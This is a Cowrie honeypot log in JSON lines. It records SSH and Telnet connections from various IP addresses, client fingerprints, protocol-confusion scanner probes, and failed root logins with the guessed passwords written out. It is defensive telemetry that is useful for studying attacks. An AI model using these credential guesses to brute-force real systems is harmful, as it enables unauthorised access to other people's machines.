{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:52:33.044666Z","src_ip":"77.94.47.83","session":"406198fad016","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"963369","message":"login attempt [root/963369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:52:33.423505Z","src_ip":"77.94.47.83","session":"406198fad016","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:52:34.554184Z","src_ip":"77.94.47.83","session":"406198fad016","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.57.37","src_port":48196,"dst_ip":"10.17.0.5","dst_port":22,"session":"845873810ea4","protocol":"ssh","message":"New connection: 43.130.57.37:48196 (10.17.0.5:22) [session: 845873810ea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:53:13.616332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:53:13.621359Z","src_ip":"43.130.57.37","session":"845873810ea4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:53:13.690682Z","src_ip":"43.130.57.37","session":"845873810ea4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W#E4r","message":"login attempt [root/!Q@W#E4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:53:13.997530Z","src_ip":"43.130.57.37","session":"845873810ea4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:53:15.069829Z","src_ip":"43.130.57.37","session":"845873810ea4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":55920,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9dd07463dc4","protocol":"ssh","message":"New connection: 43.228.112.254:55920 (10.17.0.5:22) [session: e9dd07463dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:53:19.156999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:53:19.162068Z","src_ip":"43.228.112.254","session":"e9dd07463dc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:53:19.386561Z","src_ip":"43.228.112.254","session":"e9dd07463dc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer123","message":"login attempt [root/qwer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:53:20.320252Z","src_ip":"43.228.112.254","session":"e9dd07463dc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:53:21.548502Z","src_ip":"43.228.112.254","session":"e9dd07463dc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":52635,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa13e98a3278","protocol":"ssh","message":"New connection: 152.42.212.128:52635 (10.17.0.5:22) [session: fa13e98a3278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:53:33.686814Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:53:33.693700Z","src_ip":"152.42.212.128","session":"fa13e98a3278","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:53:33.696600Z","src_ip":"152.42.212.128","session":"fa13e98a3278","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.24.250","src_port":21591,"dst_ip":"10.17.0.5","dst_port":23,"session":"eba8dfc2120c","protocol":"telnet","message":"New connection: 159.223.24.250:21591 (10.17.0.5:23) [session: eba8dfc2120c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:53:36.535948Z"}
{"eventid":"cowrie.session.closed","duration":0.004124641418457031,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:53:36.539957Z","src_ip":"159.223.24.250","session":"eba8dfc2120c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.24.250","src_port":23787,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb7002d81635","protocol":"telnet","message":"New connection: 159.223.24.250:23787 (10.17.0.5:23) [session: bb7002d81635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:53:36.747976Z"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:53:42.755033Z","src_ip":"159.223.24.250","session":"bb7002d81635","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.010741233825684,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:53:47.758582Z","src_ip":"159.223.24.250","session":"bb7002d81635","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.24.250","src_port":32407,"dst_ip":"10.17.0.5","dst_port":23,"session":"e54c6b184482","protocol":"telnet","message":"New connection: 159.223.24.250:32407 (10.17.0.5:23) [session: e54c6b184482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:53:47.846028Z"}
{"eventid":"cowrie.session.closed","duration":5.005196809768677,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:53:52.850960Z","src_ip":"159.223.24.250","session":"e54c6b184482","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.24.250","src_port":8721,"dst_ip":"10.17.0.5","dst_port":23,"session":"172a9dbda5ea","protocol":"telnet","message":"New connection: 159.223.24.250:8721 (10.17.0.5:23) [session: 172a9dbda5ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:53:52.929453Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.0","password":"","message":"login attempt [GET / HTTP/1.0/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:53:52.938379Z","src_ip":"159.223.24.250","session":"172a9dbda5ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.006140470504761,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:53:57.935467Z","src_ip":"159.223.24.250","session":"172a9dbda5ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.24.250","src_port":26209,"dst_ip":"10.17.0.5","dst_port":23,"session":"488ef93ad4ae","protocol":"telnet","message":"New connection: 159.223.24.250:26209 (10.17.0.5:23) [session: 488ef93ad4ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:53:58.023573Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS / HTTP/1.0","password":"","message":"login attempt [OPTIONS / HTTP/1.0/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:53:58.029736Z","src_ip":"159.223.24.250","session":"488ef93ad4ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.000120401382446,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:03.023581Z","src_ip":"159.223.24.250","session":"488ef93ad4ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.24.250","src_port":16211,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a6607de4ce6","protocol":"telnet","message":"New connection: 159.223.24.250:16211 (10.17.0.5:23) [session: 2a6607de4ce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:03.101783Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS / RTSP/1.0","password":"","message":"login attempt [OPTIONS / RTSP/1.0/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:03.107680Z","src_ip":"159.223.24.250","session":"2a6607de4ce6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.003056526184082,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:08.104713Z","src_ip":"159.223.24.250","session":"2a6607de4ce6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.24.250","src_port":8323,"dst_ip":"10.17.0.5","dst_port":23,"session":"24d267d14c8d","protocol":"telnet","message":"New connection: 159.223.24.250:8323 (10.17.0.5:23) [session: 24d267d14c8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:08.180449Z"}
{"eventid":"cowrie.session.closed","duration":5.002041578292847,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:13.182342Z","src_ip":"159.223.24.250","session":"24d267d14c8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.24.250","src_port":28211,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8195128071e","protocol":"telnet","message":"New connection: 159.223.24.250:28211 (10.17.0.5:23) [session: e8195128071e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:13.263208Z"}
{"eventid":"cowrie.session.closed","duration":5.001653432846069,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:18.264740Z","src_ip":"159.223.24.250","session":"e8195128071e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.24.250","src_port":18615,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5f40c4572f5","protocol":"telnet","message":"New connection: 159.223.24.250:18615 (10.17.0.5:23) [session: d5f40c4572f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:18.343242Z"}
{"eventid":"cowrie.session.closed","duration":7.505444526672363,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:25.848593Z","src_ip":"159.223.24.250","session":"d5f40c4572f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.24.250","src_port":16747,"dst_ip":"10.17.0.5","dst_port":23,"session":"f909533efde2","protocol":"telnet","message":"New connection: 159.223.24.250:16747 (10.17.0.5:23) [session: f909533efde2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:25.928818Z"}
{"eventid":"cowrie.session.closed","duration":5.003948926925659,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:30.932662Z","src_ip":"159.223.24.250","session":"f909533efde2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.24.250","src_port":20229,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b6422abeed5","protocol":"telnet","message":"New connection: 159.223.24.250:20229 (10.17.0.5:23) [session: 9b6422abeed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:31.018482Z"}
{"eventid":"cowrie.session.closed","duration":0.004548072814941406,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:31.022894Z","src_ip":"159.223.24.250","session":"9b6422abeed5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.24.250","src_port":25869,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fcafaa86646","protocol":"telnet","message":"New connection: 159.223.24.250:25869 (10.17.0.5:23) [session: 4fcafaa86646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:31.181748Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":49168,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fbabb54fbd4","protocol":"ssh","message":"New connection: 103.219.170.37:49168 (159.203.135.109:22) [session: 1fbabb54fbd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:32.885889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:32.890030Z","src_ip":"103.219.170.37","session":"1fbabb54fbd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:32.958580Z","src_ip":"103.219.170.37","session":"1fbabb54fbd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5T","message":"login attempt [root/1q2w3e4r5T] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:33.161885Z","src_ip":"103.219.170.37","session":"1fbabb54fbd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:34.231981Z","src_ip":"103.219.170.37","session":"1fbabb54fbd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":54986,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9c225946e29","protocol":"ssh","message":"New connection: 43.228.112.254:54986 (10.17.0.5:22) [session: f9c225946e29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:35.922398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:35.926524Z","src_ip":"43.228.112.254","session":"f9c225946e29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:36.145819Z","src_ip":"43.228.112.254","session":"f9c225946e29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.002382278442383,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:36.184020Z","src_ip":"159.223.24.250","session":"4fcafaa86646","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.24.250","src_port":8519,"dst_ip":"10.17.0.5","dst_port":23,"session":"a380b7f06723","protocol":"telnet","message":"New connection: 159.223.24.250:8519 (10.17.0.5:23) [session: a380b7f06723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:36.264302Z"}
{"eventid":"cowrie.session.closed","duration":0.007687807083129883,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:36.271882Z","src_ip":"159.223.24.250","session":"a380b7f06723","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.24.250","src_port":3457,"dst_ip":"10.17.0.5","dst_port":23,"session":"071da04c89fd","protocol":"telnet","message":"New connection: 159.223.24.250:3457 (10.17.0.5:23) [session: 071da04c89fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:36.440874Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"xiao123456","message":"login attempt [root/xiao123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:37.056932Z","src_ip":"43.228.112.254","session":"f9c225946e29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":57896,"dst_ip":"159.203.135.109","dst_port":22,"session":"769b97f8a5e3","protocol":"ssh","message":"New connection: 103.75.183.219:57896 (159.203.135.109:22) [session: 769b97f8a5e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:37.149072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:54:37.153698Z","src_ip":"103.75.183.219","session":"769b97f8a5e3","protocol":"ssh"}
